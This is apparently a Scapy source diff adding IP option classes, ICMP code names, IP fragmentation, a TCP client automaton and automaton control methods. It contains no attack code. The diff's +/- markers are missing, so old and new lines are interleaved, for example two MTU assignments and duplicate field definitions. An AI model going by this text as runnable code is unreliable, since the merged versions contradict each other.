for ioevt in self.ioevents[self.state.state]:
if ioevt.atmt_ioname == fd.ioname:
self._run_condition(ioevt, fd, *state_output)
except ATMT.NewStateRequested,state_req:
self.debug(2, "switching from [%s] to [%s]" % (self.state.state,state_req.state))
self.state = state_req
except KeyboardInterrupt:
self.debug(1,"Interrupted by user")
break
def my_send(self, pkt):
self.send_sock.send(pkt)
def send(self, pkt):
self.my_send(pkt)
self.debug(3,"SENT : %s" % pkt.summary())
self.packets.append(pkt.copy())
yield state_req
## Public API
def add_interception_points(self, *ipts):
for ipt in ipts:
if hasattr(ipt,"atmt_state"):
ipt = ipt.atmt_state
self.interception_points.add(ipt)
def remove_interception_points(self, *ipts):
for ipt in ipts:
if hasattr(ipt,"atmt_state"):
ipt = ipt.atmt_state
self.interception_points.discard(ipt)
def add_breakpoints(self, *bps):
for bp in bps:
if hasattr(bp,"atmt_state"):
bp = bp.atmt_state
self.breakpoints.add(bp)
def remove_breakpoints(self, *bps):
for bp in bps:
if hasattr(bp,"atmt_state"):
bp = bp.atmt_state
self.breakpoints.discard(bp)
def start(self, *args, **kargs):
if not self.started.locked():
self._do_start(*args, **kargs)
def run(self, resume=None, wait=True):
if resume is None:
resume = Message(type = _ATMT_Command.RUN)
self.cmdin.send(resume)
if wait:
try:
c = self.cmdout.recv()
except KeyboardInterrupt:
self.cmdin.send(Message(type = _ATMT_Command.FREEZE))
return
if c.type == _ATMT_Command.END:
return c.result
elif c.type == _ATMT_Command.INTERCEPT:
raise self.InterceptionPoint("packet intercepted", state=c.state.state, packet=c.pkt)
elif c.type == _ATMT_Command.SINGLESTEP:
raise self.Singlestep("singlestep state=[%s]"%c.state.state, state=c.state.state)
elif c.type == _ATMT_Command.BREAKPOINT:
raise self.Breakpoint("breakpoint triggered on state [%s]"%c.state.state, state=c.state.state)
elif c.type == _ATMT_Command.EXCEPTION:
raise c.exc_info[0],c.exc_info[1],c.exc_info[2]
def runbg(self, resume=None, wait=False):
self.run(resume, wait)
def next(self):
return self.run(resume = Message(type=_ATMT_Command.NEXT))
def stop(self):
self.cmdin.send(Message(type=_ATMT_Command.STOP))
with self.started:
# Flush command pipes
while True:
r,_,_ = select([self.cmdin, self.cmdout],[],[],0)
if not r:
break
for fd in r:
fd.recv()
def restart(self, *args, **kargs):
self.stop()
self.start(*args, **kargs)
def accept_packet(self, pkt=None, wait=False):
rsm = Message()
if pkt is None:
rsm.type = _ATMT_Command.ACCEPT
else:
rsm.type = _ATMT_Command.REPLACE
rsm.pkt = pkt
return self.run(resume=rsm, wait=wait)
def reject_packet(self, wait=False):
rsm = Message(type = _ATMT_Command.REJECT)
return self.run(resume=rsm, wait=wait)

View File

@ -122,43 +122,75 @@ class OID(Gen):
class Packet_metaclass(type):
def __new__(cls, name, bases, dct):
if "fields_desc" in dct: # perform resolution of references to other packets
current_fld = dct["fields_desc"]
resolved_fld = []
for f in current_fld:
if isinstance(f, Packet_metaclass): # reference to another fields_desc
for f2 in f.fields_desc:
resolved_fld.append(f2)
else:
resolved_fld.append(f)
else: # look for a field_desc in parent classes
resolved_fld = None
for b in bases:
if hasattr(b,"fields_desc"):
resolved_fld = b.fields_desc
break
if resolved_fld: # perform default value replacements
final_fld = []
for f in resolved_fld:
if f.name in dct:
f = f.copy()
f.default = dct[f.name]
del(dct[f.name])
final_fld.append(f)
dct["fields_desc"] = final_fld
newcls = super(Packet_metaclass, cls).__new__(cls, name, bases, dct)
for f in newcls.fields_desc:
if hasattr(newcls,"register_variant"):
newcls.register_variant()
for f in newcls.fields_desc:
f.register_owner(newcls)
config.conf.layers.register(newcls)
return newcls
def __getattr__(self, attr):
for k in self.fields_desc:
if k.name == attr:
return k
raise AttributeError(attr)
def __call__(cls, *args, **kargs):
if "dispatch_hook" in cls.__dict__:
cls = cls.dispatch_hook(*args, **kargs)
i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__)
i.__init__(*args, **kargs)
return i
class NewDefaultValues(Packet_metaclass):
"""NewDefaultValues metaclass. Example usage:
class MyPacket(Packet):
fields_desc = [ StrField("my_field", "my default value"), ]
class MyPacket_variant(MyPacket):
"""NewDefaultValues is deprecated (not needed anymore)
remove this:
__metaclass__ = NewDefaultValues
my_field = "my new default value"
and it should still work.
"""
def __new__(cls, name, bases, dct):
fields = None
for b in bases:
if hasattr(b,"fields_desc"):
fields = b.fields_desc
break
if fields is None:
raise error.Scapy_Exception("No fields_desc in superclasses")
new_fields = []
for f in fields:
if f.name in dct:
f = f.copy()
f.default = dct[f.name]
del(dct[f.name])
new_fields.append(f)
dct["fields_desc"] = new_fields
from error import log_loading
import traceback
try:
for tb in traceback.extract_stack()+[("??",-1,None,"")]:
f,l,_,line = tb
if line.startswith("class"):
break
except:
f,l="??",-1
raise
log_loading.warning("Deprecated (no more needed) use of NewDefaultValues (%s l. %i)." % (f,l))
return super(NewDefaultValues, cls).__new__(cls, name, bases, dct)
class BasePacket(Gen):

View File

@ -44,7 +44,7 @@ IPV6_ADDR_UNSPECIFIED = 0x10000
MTU = 1600
MTU = 0x7fff # a.k.a give me all you have
WINDOWS=sys.platform.startswith("win")

View File

@ -1,4 +1,4 @@
## This file is part of Scapy
# This file is part of Scapy
## See http://www.secdev.org/projects/scapy for more informations
## Copyright (C) Philippe Biondi <phil@secdev.org>
## This program is published under a GPLv2 license
@ -249,8 +249,6 @@ class ByteField(Field):
class XByteField(ByteField):
def i2repr(self, pkt, x):
if x is None:
x = 0
return lhex(self.i2h(pkt, x))
class X3BytesField(XByteField):
@ -272,8 +270,6 @@ class LEShortField(Field):
class XShortField(ShortField):
def i2repr(self, pkt, x):
if x is None:
x = 0
return lhex(self.i2h(pkt, x))
@ -299,8 +295,6 @@ class LESignedIntField(Field):
class XIntField(IntField):
def i2repr(self, pkt, x):
if x is None:
x = 0
return lhex(self.i2h(pkt, x))
@ -310,8 +304,6 @@ class LongField(Field):
class XLongField(LongField):
def i2repr(self, pkt, x):
if x is None:
x = 0
return lhex(self.i2h(pkt, x))
class IEEEFloatField(Field):
@ -370,7 +362,12 @@ class PacketLenField(PacketField):
self.length_from = length_from
def getfield(self, pkt, s):
l = self.length_from(pkt)
i = self.m2i(pkt, s[:l])
try:
i = self.m2i(pkt, s[:l])
except Exception:
if conf.debug_dissector:
raise
i = conf.raw_layer(load=s[:l])
return s[l:],i
@ -415,13 +412,20 @@ class PacketListField(PacketField):
if c <= 0:
break
c -= 1
p = self.m2i(pkt,remain)
if 'Padding' in p:
pad = p['Padding']
remain = pad.load
del(pad.underlayer.payload)
else:
try:
p = self.m2i(pkt,remain)
except Exception:
if conf.debug_dissector:
raise
p = conf.raw_layer(load=remain)
remain = ""
else:
if 'Padding' in p:
pad = p['Padding']
remain = pad.load
del(pad.underlayer.payload)
else:
remain = ""
lst.append(p)
return remain+ret,lst
def addfield(self, pkt, s, val):
@ -757,6 +761,36 @@ class XShortEnumField(ShortEnumField):
return self.i2s[x]
return lhex(x)
class MultiEnumField(EnumField):
def __init__(self, name, default, enum, depends_on, fmt = "H"):
self.depends_on = depends_on
self.i2s_multi = enum
self.s2i_multi = {}
self.s2i_all = {}
for m in enum:
self.s2i_multi[m] = s2i = {}
for k,v in enum[m].iteritems():
s2i[v] = k
self.s2i_all[v] = k
Field.__init__(self, name, default, fmt)
def any2i_one(self, pkt, x):
if type (x) is str:
v = self.depends_on(pkt)
if v in self.s2i_multi:
s2i = self.s2i_multi[v]
if x in s2i:
return s2i[x]
return self.s2i_all[x]
return x
def i2repr_one(self, pkt, x):
v = self.depends_on(pkt)
if v in self.i2s_multi:
return self.i2s_multi[v].get(x,x)
return x
# Little endian long field
class LELongField(Field):
def __init__(self, name, default):

View File

@ -9,6 +9,7 @@ from scapy.config import conf
from scapy.packet import *
from scapy.fields import *
from scapy.supersocket import SuperSocket
from scapy.data import MTU
class HCI_Hdr(Packet):
@ -163,7 +164,7 @@ class BluetoothL2CAPSocket(SuperSocket):
self.ins = self.outs = s
def recv(self, x):
def recv(self, x=MTU):
return L2CAP_CmdHdr(self.ins.recv(x))
@ -189,7 +190,7 @@ class BluetoothHCISocket(SuperSocket):
def srbt(peer, pkts, inter=0.1, *args, **kargs):
"""send and receive using a bluetooth socket"""
s = conf.BTsocket(peer=peer)
a,b,c=sndrcv(s,pkts,inter=inter,*args,**kargs)
a,b = sndrcv(s,pkts,inter=inter,*args,**kargs)
s.close()
return a,b

View File

@ -282,7 +282,6 @@ class DHCP6OptClientId(_DHCP6OptGuessPayload): # RFC sect 22.2
class DHCP6OptServerId(DHCP6OptClientId): # RFC sect 22.3
name = "DHCP6 Server Identifier Option"
__metaclass__ = NewDefaultValues
optcode = 2
# Should be encapsulated in the option field of IA_NA or IA_TA options
@ -941,7 +940,6 @@ class DHCP6(_DHCP6OptGuessPayload):
class DHCP6_Solicit(DHCP6):
name = "DHCPv6 Solicit Message"
__metaclass__ = NewDefaultValues
msgtype = 1
overload_fields = { UDP: {"sport": 546, "dport": 547} }
@ -955,7 +953,6 @@ class DHCP6_Solicit(DHCP6):
class DHCP6_Advertise(DHCP6):
name = "DHCPv6 Advertise Message"
__metaclass__ = NewDefaultValues
msgtype = 2
overload_fields = { UDP: {"sport": 547, "dport": 546} }
@ -983,7 +980,6 @@ class DHCP6_Advertise(DHCP6):
class DHCP6_Request(DHCP6):
name = "DHCPv6 Request Message"
__metaclass__ = NewDefaultValues
msgtype = 3
#####################################################################
@ -996,7 +992,6 @@ class DHCP6_Request(DHCP6):
class DHCP6_Confirm(DHCP6):
name = "DHCPv6 Confirm Message"
__metaclass__ = NewDefaultValues
msgtype = 4
#####################################################################
@ -1018,7 +1013,6 @@ class DHCP6_Confirm(DHCP6):
class DHCP6_Renew(DHCP6):
name = "DHCPv6 Renew Message"
__metaclass__ = NewDefaultValues
msgtype = 5
#####################################################################
@ -1029,7 +1023,6 @@ class DHCP6_Renew(DHCP6):
class DHCP6_Rebind(DHCP6):
name = "DHCPv6 Rebind Message"
__metaclass__ = NewDefaultValues
msgtype = 6
#####################################################################
@ -1057,7 +1050,6 @@ class DHCP6_Rebind(DHCP6):
class DHCP6_Reply(DHCP6):
name = "DHCPv6 Reply Message"
__metaclass__ = NewDefaultValues
msgtype = 7
def answers(self, other):
@ -1072,7 +1064,6 @@ class DHCP6_Reply(DHCP6):
class DHCP6_Release(DHCP6):
name = "DHCPv6 Release Message"
__metaclass__ = NewDefaultValues
msgtype = 8
#####################################################################
@ -1087,7 +1078,6 @@ class DHCP6_Release(DHCP6):
class DHCP6_Decline(DHCP6):
name = "DHCPv6 Decline Message"
__metaclass__ = NewDefaultValues
msgtype = 9
#####################################################################
@ -1105,7 +1095,6 @@ class DHCP6_Decline(DHCP6):
class DHCP6_Reconf(DHCP6):
name = "DHCPv6 Reconfigure Message"
__metaclass__ = NewDefaultValues
msgtype = 10
overload_fields = { UDP: { "sport": 547, "dport": 546 } }
@ -1124,7 +1113,6 @@ class DHCP6_Reconf(DHCP6):
class DHCP6_InfoRequest(DHCP6):
name = "DHCPv6 Information Request Message"
__metaclass__ = NewDefaultValues
msgtype = 11
def hashret(self):
@ -1172,7 +1160,6 @@ class DHCP6_RelayForward(_DHCP6GuessPayload,Packet):
class DHCP6_RelayReply(DHCP6_RelayForward):
name = "DHCPv6 Relay Reply Message (Relay Agent/Server Message)"
__metaclass__= NewDefaultValues
msgtype = 13
def hashret(self): # We filter on peer address field.
return inet_pton(socket.AF_INET6, self.peeraddr)

View File

@ -362,11 +362,12 @@ bind_layers( Dot11Auth, Dot11Elt, )
bind_layers( Dot11Elt, Dot11Elt, )
conf.l2types.register(801, Dot11)
conf.l2types.register_num2layer(105, Dot11)
conf.l2types.register(802, PrismHeader)
conf.l2types.register(803, RadioTap)
conf.l2types.register_num2layer(127, RadioTap)
conf.l2types.register(105, Dot11)
conf.l2types.register_num2layer(801, Dot11)
conf.l2types.register(119, PrismHeader)
conf.l2types.register_num2layer(802, PrismHeader)
conf.l2types.register(127, RadioTap)
conf.l2types.register_num2layer(803, RadioTap)
class WiFi_am(AnsweringMachine):

View File

@ -14,6 +14,7 @@ from scapy.packet import *
from scapy.volatile import *
from scapy.sendrecv import sr,sr1,srp1
from scapy.plist import PacketList,SndRcvList
from scapy.automaton import Automaton,ATMT
import scapy.as_resolvers
@ -34,18 +35,160 @@ class IPTools:
return self.ottl()-self.ttl-1
_ip_options_names = { 0: "end_of_list",
1: "nop",
2: "security",
3: "loose_source_route",
4: "timestamp",
5: "extended_security",
6: "commercial_security",
7: "record_route",
8: "stream_id",
9: "strict_source_route",
10: "experimental_measurement",
11: "mtu_probe",
12: "mtu_reply",
13: "flow_control",
14: "access_control",
15: "encode",
16: "imi_traffic_descriptor",
17: "extended_IP",
18: "traceroute",
19: "address_extension",
20: "router_alert",
21: "selective_directed_broadcast_mode",
23: "dynamic_packet_state",
24: "upstream_multicast_packet",
25: "quick_start",
30: "rfc4727_experiment",
}
class IPoptionsField(StrField):
def i2m(self, pkt, x):
return x+"\x00"*(3-((len(x)+3)%4))
def getfield(self, pkt, s):
opsz = (pkt.ihl-5)*4
if opsz < 0:
warning("bad ihl (%i). Assuming ihl=5"%pkt.ihl)
opsz = 0
return s[opsz:],s[:opsz]
def randval(self):
return RandBin(RandNum(0,39))
class _IPOption_HDR(Packet):
fields_desc = [ BitField("copy_flag",0, 1),
BitEnumField("optclass",0,2,{0:"control",2:"debug"}),
BitEnumField("option",0,5, _ip_options_names) ]
class IPOption(Packet):
fields_desc = [ _IPOption_HDR,
FieldLenField("length", None, fmt="B", # Only option 0 and 1 have no length and value
length_of="value", adjust=lambda pkt,l:l+2),
StrLenField("value", "",length_from=lambda pkt:pkt.length-2) ]
def extract_padding(self, p):
return "",p
registered_ip_options = {}
@classmethod
def register_variant(cls):
cls.registered_ip_options[cls.option.default] = cls
@classmethod
def dispatch_hook(cls, pkt=None, *args, **kargs):
if pkt:
opt = ord(pkt[0])&0x1f
if opt in cls.registered_ip_options:
return cls.registered_ip_options[opt]
return cls
class IPOption_EOL(IPOption):
option = 0
fields_desc = [ _IPOption_HDR ]
class IPOption_NOP(IPOption):
option=1
fields_desc = [ _IPOption_HDR ]
class IPOption_Security(IPOption):
copy_flag = 1
option = 2
fields_desc = [ _IPOption_HDR,
ByteField("length", 11),
ShortField("security",0),
ShortField("compartment",0),
ShortField("handling_restrictions",0),
StrFixedLenField("transmission_control_code","xxx",3),
]
class IPOption_LSRR(IPOption):
name = "IP Option Loose Source and Record Route"
copy_flag = 1
option = 3
fields_desc = [ _IPOption_HDR,
FieldLenField("length", None, fmt="B",
length_of="routers", adjust=lambda pkt,l:l+3),
ByteField("pointer",4), # 4 is first IP
FieldListField("routers",[],IPField("","0.0.0.0"),
length_from=lambda pkt:pkt.length-3)
]
def get_current_router(self):
return self.routers[self.pointer/4-1]
class IPOption_RR(IPOption_LSRR):
name = "IP Option Record Route"
option = 7
class IPOption_SSRR(IPOption_LSRR):
name = "IP Option Strict Source and Record Route"
option = 9
class IPOption_Stream_Id(IPOption):
name = "IP Option Stream ID"
option = 8
fields_desc = [ _IPOption_HDR,
ByteField("length", 4),
ShortField("security",0), ]
class IPOption_MTU_Probe(IPOption):
name = "IP Option MTU Probe"
option = 11
fields_desc = [ _IPOption_HDR,
ByteField("length", 4),
ShortField("mtu",0), ]
class IPOption_MTU_Reply(IPOption_MTU_Probe):
name = "IP Option MTU Reply"
option = 12
class IPOption_Traceroute(IPOption):
copy_flag = 1
option = 18
fields_desc = [ _IPOption_HDR,
ByteField("length", 12),
ShortField("id",0),
ShortField("outbound_hops",0),
ShortField("return_hops",0),
IPField("originator_ip","0.0.0.0") ]
class IPOption_Address_Extension(IPOption):
name = "IP Option Address Extension"
copy_flag = 1
option = 19
fields_desc = [ _IPOption_HDR,
ByteField("length", 10),
IPField("src_ext","0.0.0.0"),
IPField("dst_ext","0.0.0.0") ]
class IPOption_Router_Alert(IPOption):
name = "IP Option Router Alert"
copy_flag = 1
option = 20
fields_desc = [ _IPOption_HDR,
ByteField("length", 4),
ShortEnumField("alert",0, {0:"router_shall_examine_packet"}), ]
class IPOption_SDBM(IPOption):
name = "IP Option Selective Directed Broadcast Mode"
copy_flag = 1
option = 21
fields_desc = [ _IPOption_HDR,
FieldLenField("length", None, fmt="B",
length_of="addresses", adjust=lambda pkt,l:l+2),
FieldListField("addresses",[],IPField("","0.0.0.0"),
length_from=lambda pkt:pkt.length-2)
]
TCPOptions = (
@ -181,9 +324,10 @@ class IP(Packet, IPTools):
#IPField("src", "127.0.0.1"),
Emph(SourceIPField("src","dst")),
Emph(IPField("dst", "127.0.0.1")),
IPoptionsField("options", "") ]
PacketListField("options", [], IPOption, length_from=lambda p:p.ihl*4-20) ]
def post_build(self, p, pay):
ihl = self.ihl
p += "\0"*((-len(p))%4) # pad IP options if needed
if ihl is None:
ihl = len(p)/4
p = chr(((self.version&0xf)<<4) | ihl&0x0f)+p[1:]
@ -244,7 +388,35 @@ class IP(Packet, IPTools):
s += " frag:%i" % self.frag
return s
def fragment(self, fragsize=1480):
"""Fragment IP datagrams"""
fragsize = (fragsize+7)/8*8
lst = []
fnb = 0
fl = self
while fl.underlayer is not None:
fnb += 1
fl = fl.underlayer
for p in fl:
s = str(p[fnb].payload)
nb = (len(s)+fragsize-1)/fragsize
for i in range(nb):
q = p.copy()
del(q[fnb].payload)
del(q[fnb].chksum)
del(q[fnb].len)
if i == nb-1:
q[IP].flags &= ~1
else:
q[IP].flags |= 1
q[IP].frag = i*fragsize/8
r = Raw(load=s[i*fragsize:(i+1)*fragsize])
r.overload_fields = p[IP].payload.overload_fields.copy()
q.add_payload(r)
lst.append(q)
return lst
class TCP(Packet):
name = "TCP"
@ -374,10 +546,37 @@ icmptypes = { 0 : "echo-reply",
17 : "address-mask-request",
18 : "address-mask-reply" }
icmpcodes = { 3 : { 0 : "network-unreachable",
1 : "host-unreachable",
2 : "protocol-unreachable",
3 : "port-unreachable",
4 : "fragmentation-needed",
5 : "source-route-failed",
6 : "network-unknown",
7 : "host-unknown",
9 : "network-prohibited",
10 : "host-prohibited",
11 : "TOS-network-unreachable",
12 : "TOS-host-unreachable",
13 : "communication-prohibited",
14 : "host-precedence-violation",
15 : "precedence-cutoff", },
5 : { 0 : "network-redirect",
1 : "host-redirect",
2 : "TOS-network-redirect",
3 : "TOS-host-redirect", },
11 : { 0 : "ttl-zero-during-transit",
1 : "ttl-zero-during-reassembly", },
12 : { 0 : "ip-header-bad",
1 : "required-option-missing", }, }
class ICMP(Packet):
name = "ICMP"
fields_desc = [ ByteEnumField("type",8, icmptypes),
ByteField("code",0),
MultiEnumField("code",0, icmpcodes, depends_on=lambda pkt:pkt.type,fmt="B"),
XShortField("chksum", None),
ConditionalField(XShortField("id",0), lambda pkt:pkt.type in [0,8,13,14,15,16,17,18]),
ConditionalField(XShortField("seq",0), lambda pkt:pkt.type in [0,8,13,14,15,16,17,18]),
@ -1104,6 +1303,133 @@ traceroute(target, [maxttl=30,] [dport=80,] [sport=80,] [verbose=conf.verb]) ->
#############################
## Simple TCP client stack ##
#############################
class TCP_client(Automaton):
def parse_args(self, ip, port, *args, **kargs):
self.dst = ip
self.dport = port
self.sport = random.randrange(0,2**16)
self.l4 = IP(dst=ip)/TCP(sport=self.sport, dport=self.dport, flags=0,
seq=random.randrange(0,2**32))
self.src = self.l4.src
self.swin=self.l4[TCP].window
self.dwin=1
self.rcvbuf=""
bpf = "host %s and host %s and port %i and port %i" % (self.src,
self.dst,
self.sport,
self.dport)
# bpf=None
Automaton.parse_args(self, filter=bpf, **kargs)
def master_filter(self, pkt):
return (IP in pkt and
pkt[IP].src == self.dst and
pkt[IP].dst == self.src and
TCP in pkt and
pkt[TCP].sport == self.dport and
pkt[TCP].dport == self.sport and
self.l4[TCP].seq >= pkt[TCP].ack and # XXX: seq/ack 2^32 wrap up
((self.l4[TCP].ack == 0) or (self.l4[TCP].ack <= pkt[TCP].seq <= self.l4[TCP].ack+self.swin)) )
@ATMT.state(initial=1)
def START(self):
pass
@ATMT.state()
def SYN_SENT(self):
pass
@ATMT.state()
def ESTABLISHED(self):
pass
@ATMT.state()
def LAST_ACK(self):
pass
@ATMT.state(final=1)
def CLOSED(self):
pass
@ATMT.condition(START)
def connect(self):
raise self.SYN_SENT()
@ATMT.action(connect)
def send_syn(self):
self.l4[TCP].flags = "S"
self.send(self.l4)
self.l4[TCP].seq += 1
@ATMT.receive_condition(SYN_SENT)
def synack_received(self, pkt):
if pkt[TCP].flags & 0x3f == 0x12:
raise self.ESTABLISHED().action_parameters(pkt)
@ATMT.action(synack_received)
def send_ack_of_synack(self, pkt):
self.l4[TCP].ack = pkt[TCP].seq+1
self.l4[TCP].flags = "A"
self.send(self.l4)
@ATMT.receive_condition(ESTABLISHED)
def incoming_data_received(self, pkt):
if not isinstance(pkt[TCP].payload, NoPayload) and not isinstance(pkt[TCP].payload, Padding):
raise self.ESTABLISHED().action_parameters(pkt)
@ATMT.action(incoming_data_received)
def receive_data(self,pkt):
data = str(pkt[TCP].payload)
if data and self.l4[TCP].ack == pkt[TCP].seq:
self.l4[TCP].ack += len(data)
self.l4[TCP].flags = "A"
self.send(self.l4)
self.rcvbuf += data
if pkt[TCP].flags & 8 != 0: #PUSH
self.oi.tcp.send(self.rcvbuf)
self.rcvbuf = ""
@ATMT.ioevent(ESTABLISHED,name="tcp", as_supersocket="tcplink")
def outgoing_data_received(self, fd):
raise self.ESTABLISHED().action_parameters(fd.recv())
@ATMT.action(outgoing_data_received)
def send_data(self, d):
self.l4[TCP].flags = "PA"
self.send(self.l4/d)
self.l4[TCP].seq += len(d)
@ATMT.receive_condition(ESTABLISHED)
def reset_received(self, pkt):
if pkt[TCP].flags & 4 != 0:
raise self.CLOSED()
@ATMT.receive_condition(ESTABLISHED)
def fin_received(self, pkt):
if pkt[TCP].flags & 0x1 == 1:
raise self.LAST_ACK().action_parameters(pkt)
@ATMT.action(fin_received)
def send_finack(self, pkt):
self.l4[TCP].flags = "FA"
self.l4[TCP].ack = pkt[TCP].seq+1
self.send(self.l4)
self.l4[TCP].seq += 1
@ATMT.receive_condition(LAST_ACK)
def ack_of_fin_received(self, pkt):
if pkt[TCP].flags & 0x3f == 0x10:
raise self.CLOSED()
#####################
## Reporting stuff ##
#####################

View File

@ -1227,7 +1227,6 @@ class ICMPv6EchoRequest(_ICMPv6):
class ICMPv6EchoReply(ICMPv6EchoRequest):
name = "ICMPv6 Echo Reply"
__metaclass__ = NewDefaultValues
type = 129
def answers(self, other):
# We could match data content between request and reply.
@ -1262,7 +1261,6 @@ class _ICMPv6ML(_ICMPv6):
# Option in a Destination Option Header.
class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710
name = "MLD - Multicast Listener Query"
__metaclass__ = NewDefaultValues
type = 130
mrd = 10000
mladdr = "::" # 10s for mrd
@ -1278,7 +1276,6 @@ class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710
# Option in a Destination Option Header.
class ICMPv6MLReport(_ICMPv6ML): # RFC 2710
name = "MLD - Multicast Listener Report"
__metaclass__ = NewDefaultValues
type = 131
overload_fields = {IPv6: {"hlim": 1}}
# implementer le hashret et le answers
@ -1291,7 +1288,6 @@ class ICMPv6MLReport(_ICMPv6ML): # RFC 2710
# Option in a Destination Option Header.
class ICMPv6MLDone(_ICMPv6ML): # RFC 2710
name = "MLD - Multicast Listener Done"
__metaclass__ = NewDefaultValues
type = 132
overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1}}
@ -1430,7 +1426,6 @@ class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet):
class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr):
name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address"
__metaclass__ = NewDefaultValues
type = 2
class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet):
@ -1695,7 +1690,6 @@ class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
class ICMPv6ND_NA(ICMPv6ND_NS):
name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement"
__metaclass__ = NewDefaultValues
type = 136
R = 1
O = 1
@ -1729,7 +1723,6 @@ class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet):
class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList):
name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List"
__metaclass__ = NewDefaultValues
type = 10
@ -2009,19 +2002,16 @@ class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6):
class ICMPv6NIQueryName(ICMPv6NIQueryNOOP):
name = "ICMPv6 Node Information Query - IPv6 Name Query"
__metaclass__ = NewDefaultValues
qtype = 2
# We ask for the IPv6 address of the peer
class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP):
name = "ICMPv6 Node Information Query - IPv6 Address Query"
__metaclass__ = NewDefaultValues
qtype = 3
flags = 0x3E
class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP):
name = "ICMPv6 Node Information Query - IPv4 Address Query"
__metaclass__ = NewDefaultValues
qtype = 4
_nireply_code = { 0: "Successful Reply",
@ -2176,27 +2166,22 @@ class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6):
class ICMPv6NIReplyName(ICMPv6NIReplyNOOP):
name = "ICMPv6 Node Information Reply - Node Names"
__metaclass__ = NewDefaultValues
qtype = 2
class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP):
name = "ICMPv6 Node Information Reply - IPv6 addresses"
__metaclass__ = NewDefaultValues
qtype = 3
class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP):
name = "ICMPv6 Node Information Reply - IPv4 addresses"
__metaclass__ = NewDefaultValues
qtype = 4
class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP):
name = "ICMPv6 Node Information Reply - Responder refuses to supply answer"
__metaclass__ = NewDefaultValues
code = 1
class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP):
name = "ICMPv6 Node Information Reply - Qtype unknown to the responder"
__metaclass__ = NewDefaultValues
code = 2
@ -2674,7 +2659,6 @@ class MIP6MH_HoTI(_MobilityHeader):
class MIP6MH_CoTI(MIP6MH_HoTI):
name = "IPv6 Mobility Header - Care-of Test Init"
__metaclass__ = NewDefaultValues
mhtype = 2
def hashret(self):
return self.cookie
@ -2703,7 +2687,6 @@ class MIP6MH_HoT(_MobilityHeader):
class MIP6MH_CoT(MIP6MH_HoT):
name = "IPv6 Mobility Header - Care-of Test"
__metaclass__ = NewDefaultValues
mhtype = 4
def hashret(self):
return self.cookie

View File

@ -4,6 +4,7 @@
## This program is published under a GPLv2 license
import os,struct,time
from scapy.base_classes import Net
from scapy.config import conf
from scapy.packet import *
from scapy.ansmachine import *
@ -43,6 +44,8 @@ conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s
@conf.commands.register
def getmacbyip(ip, chainCC=0):
"""Return MAC address corresponding to a given IP address"""
if isinstance(ip,Net):
ip = iter(ip).next()
tmp = map(ord, inet_aton(ip))
if (tmp[0] & 0xf0) == 0xe0: # mcast @
return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3])
@ -124,20 +127,8 @@ class ARPSourceMACField(MACField):
### Layers
class Ether_or_Dot3_metaclass(Packet_metaclass):
def __call__(self, _pkt=None, *args, **kargs):
cls = self
if _pkt and len(_pkt) >= 14:
if struct.unpack("!H", _pkt[12:14])[0] <= 1500:
cls = Dot3
else:
cls = Ether
i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__)
i.__init__(_pkt=_pkt, *args, **kargs)
return i
class Ether(Packet):
__metaclass__ = Ether_or_Dot3_metaclass
name = "Ethernet"
fields_desc = [ DestMACField("dst"),
SourceMACField("src"),
@ -151,9 +142,15 @@ class Ether(Packet):
return 0
def mysummary(self):
return self.sprintf("%src% > %dst% (%type%)")
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 14:
if struct.unpack("!H", _pkt[12:14])[0] <= 1500:
return Dot3
return cls
class Dot3(Packet):
__metaclass__ = Ether_or_Dot3_metaclass
name = "802.3"
fields_desc = [ DestMACField("dst"),
MACField("src", ETHER_ANY),
@ -167,6 +164,12 @@ class Dot3(Packet):
return 0
def mysummary(self):
return "802.3 %s > %s" % (self.src, self.dst)
@classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 14:
if struct.unpack("!H", _pkt[12:14])[0] > 1500:
return Ether
return cls
class LLC(Packet):
@ -337,11 +340,11 @@ class ARP(Packet):
return "",s
def mysummary(self):
if self.op == self.is_at:
return "ARP is at %s says %s" % (self.hwsrc, self.psrc)
return self.sprintf("ARP is at %hwsrc% says %psrc%")
elif self.op == self.who_has:
return "ARP who has %s says %s" % (self.pdst, self.psrc)
return self.sprintf("ARP who has %pdst% says %psrc%")
else:
return "ARP %ARP.op% %ARP.psrc% > %ARP.pdst%"
return self.sprintf("ARP %op% %psrc% > %pdst%")
conf.neighbor.register_l3(Ether, ARP, lambda l2,l3: getmacbyip(l3.pdst))
@ -429,7 +432,7 @@ class ARPingResult(SndRcvList):
def show(self):
for s,r in self.res:
print r.sprintf("%Ether.src% %ARP.psrc%")
print r.sprintf("%19s,Ether.src% %ARP.psrc%")

View File

@ -36,7 +36,6 @@ class LLMNRQuery(Packet):
class LLMNRResponse(LLMNRQuery):
name = "Link Local Multicast Node Resolution - Response"
__metaclass__ = NewDefaultValues
qr = 1
fields_desc = []

View File

@ -188,20 +188,14 @@ class HDLC(Packet):
fields_desc = [ XByteField("address",0xff),
XByteField("control",0x03) ]
